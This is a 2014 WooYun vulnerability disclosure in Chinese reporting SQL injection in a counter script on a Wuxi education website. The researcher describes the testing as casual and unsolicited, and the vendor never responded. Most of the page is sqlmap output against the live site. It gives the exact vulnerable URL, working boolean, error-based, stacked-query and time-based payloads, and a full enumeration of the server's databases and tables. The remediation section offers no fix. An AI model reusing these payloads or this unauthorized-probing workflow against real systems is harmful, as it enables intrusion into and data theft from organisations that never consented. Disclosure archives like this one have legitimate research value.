当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-064913

漏洞标题:某地区教育网sql注入一枚

相关厂商:无锡教育网

漏洞作者: 追逐天堂

提交时间:2014-06-14 18:49

修复时间:2014-07-29 18:50

公开时间:2014-07-29 18:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:12

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-14: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-07-29: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

闲来无事,友情检测。请勿见怪。涉及多个库表

详细说明:

注入地址:http://count.wxjy.com.cn/count//counter.asp?user=90years


1.png


2.png


3.png


4.png


5.png

漏洞证明:

sqlmap identified the following injection points with a total of 109 HTTP(s) requests:
---
Place: GET
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=90years' AND 8290=8290 AND 'FPCI'='FPCI
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user=90years' AND 7964=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(97)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (7964=7964) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(121)+CHAR(116)+CHAR(113))) AND 'TAex'='TAex
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user=90years'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user=90years' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=90years' AND 8290=8290 AND 'FPCI'='FPCI
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user=90years' AND 7964=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(97)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (7964=7964) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(121)+CHAR(116)+CHAR(113))) AND 'TAex'='TAex
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user=90years'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user=90years' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
available databases [8]:
[*] blog
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] tempdb
[*] wxjy_count
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=90years' AND 8290=8290 AND 'FPCI'='FPCI
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user=90years' AND 7964=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(97)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (7964=7964) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(121)+CHAR(116)+CHAR(113))) AND 'TAex'='TAex
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user=90years'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user=90years' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current user is DBA: False
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=90years' AND 8290=8290 AND 'FPCI'='FPCI
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user=90years' AND 7964=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(97)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (7964=7964) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(121)+CHAR(116)+CHAR(113))) AND 'TAex'='TAex
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user=90years'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user=90years' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current database: 'wxjy_count'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=90years' AND 8290=8290 AND 'FPCI'='FPCI
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user=90years' AND 7964=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(97)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (7964=7964) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(121)+CHAR(116)+CHAR(113))) AND 'TAex'='TAex
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user=90years'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user=90years' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
current user: 'wxjy_count'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: user
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: user=90years' AND 8290=8290 AND 'FPCI'='FPCI
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: user=90years' AND 7964=CONVERT(INT,(SELECT CHAR(113)+CHAR(119)+CHAR(97)+CHAR(110)+CHAR(113)+(SELECT (CASE WHEN (7964=7964) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(100)+CHAR(121)+CHAR(116)+CHAR(113))) AND 'TAex'='TAex
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: user=90years'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: user=90years' WAITFOR DELAY '0:0:5'--
---
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2000
Database: tempdb
[2 tables]
+--------------------------------------------+
| sysconstraints |
| syssegments |
+--------------------------------------------+
Database: msdb
[83 tables]
+--------------------------------------------+
| RTblClassDefs |
| RTblClassExtension |
| RTblDBMProps |
| RTblDBXProps |
| RTblDTMProps |
| RTblDTSProps |
| RTblDatabaseVersion |
| RTblEQMProps |
| RTblEnumerationDef |
| RTblEnumerationValueDef |
| RTblGENProps |
| RTblIfaceDefs |
| RTblIfaceHier |
| RTblIfaceMem |
| RTblMDSProps |
| RTblNamedObj |
| RTblOLPProps |
| RTblParameterDef |
| RTblPropDefs |
| RTblProps |
| RTblRelColDefs |
| RTblRelshipDefs |
| RTblRelshipProps |
| RTblRelships |
| RTblSIMProps |
| RTblScriptDefs |
| RTblSites |
| RTblSumInfo |
| RTblTFMProps |
| RTblTypeInfo |
| RTblTypeLibs |
| RTblUMLProps |
| RTblUMXProps |
| RTblVersionAdminInfo |
| RTblVersions |
| RTblWorkspaceItems |
| backupfile |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_databases |
| log_shipping_monitor |
| log_shipping_plan_databases |
| log_shipping_plan_history |
| log_shipping_plans |
| log_shipping_primaries |
| log_shipping_secondaries |
| logmarkhistory |
| mswebtasks |
| restorefile |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| sysalerts |
| syscachedcredentials |
| syscategories |
| sysconstraints |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobhistory |
| sysjobs |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysnotifications |
| sysoperators |
| syssegments |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers |
| systargetservers_view |
| systaskids |
| systasks |
| systasks_view |
+--------------------------------------------+
Database: pubs
[14 tables]
+--------------------------------------------+
| authors |
| discounts |
| employee |
| jobs |
| pub_info |
| publishers |
| roysched |
| sales |
| stores |
| sysconstraints |
| syssegments |
| titleauthor |
| titles |
| titleview |
+--------------------------------------------+
Database: master
[36 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS |
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS |
| INFORMATION_SCHEMA.KEY_COLUMN_USAGE |
| INFORMATION_SCHEMA.PARAMETERS |
| INFORMATION_SCHEMA.REFERENTIAL_CONSTRAINTS |
| INFORMATION_SCHEMA.ROUTINES |
| INFORMATION_SCHEMA.ROUTINE_COLUMNS |
| INFORMATION_SCHEMA.SCHEMATA |
| INFORMATION_SCHEMA.TABLES |
| INFORMATION_SCHEMA.TABLE_CONSTRAINTS |
| INFORMATION_SCHEMA.TABLE_PRIVILEGES |
| INFORMATION_SCHEMA.VIEWS |
| INFORMATION_SCHEMA.VIEW_COLUMN_USAGE |
| INFORMATION_SCHEMA.VIEW_TABLE_USAGE |
| MSreplication_options |
| spt_datatype_info |
| spt_datatype_info_ext |
| spt_fallback_db |
| spt_fallback_dev |
| spt_fallback_usg |
| spt_monitor |
| spt_provider_types |
| spt_server_info |
| spt_values |
| sysconstraints |
| syslogins |
| sysoledbusers |
| sysopentapes |
| sysremotelogins |
| syssegments |
+--------------------------------------------+
Database: wxjy_count
[6 tables]
+--------------------------------------------+
| cnt_history |
| cnt_info |
| cnt_msg |
| dtproperties |
| sysconstraints |
| syssegments |
+--------------------------------------------+
Database: Northwind
[31 tables]
+--------------------------------------------+
| Categories |
| CustomerCustomerDemo |
| CustomerDemographics |
| Customers |
| EmployeeTerritories |
| Employees |
| Invoices |
| Orders |
| Products |
| Region |
| Shippers |
| Suppliers |
| Territories |
| Alphabetical list of products |
| Category Sales for 1997 |
| Current Product List |
| Customer and Suppliers by City |
| Order Details Extended |
| Order Details |
| Order Subtotals |
| Orders Qry |
| Product Sales for 1997 |
| Products Above Average Price |
| Products by Category |
| Quarterly Orders |
| Sales Totals by Amount |
| Sales by Category |
| Summary of Sales by Quarter |
| Summary of Sales by Year |
| sysconstraints |
| syssegments |
+--------------------------------------------+

修复方案:

你比我强。没有更进一步

版权声明:转载请注明来源 追逐天堂@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝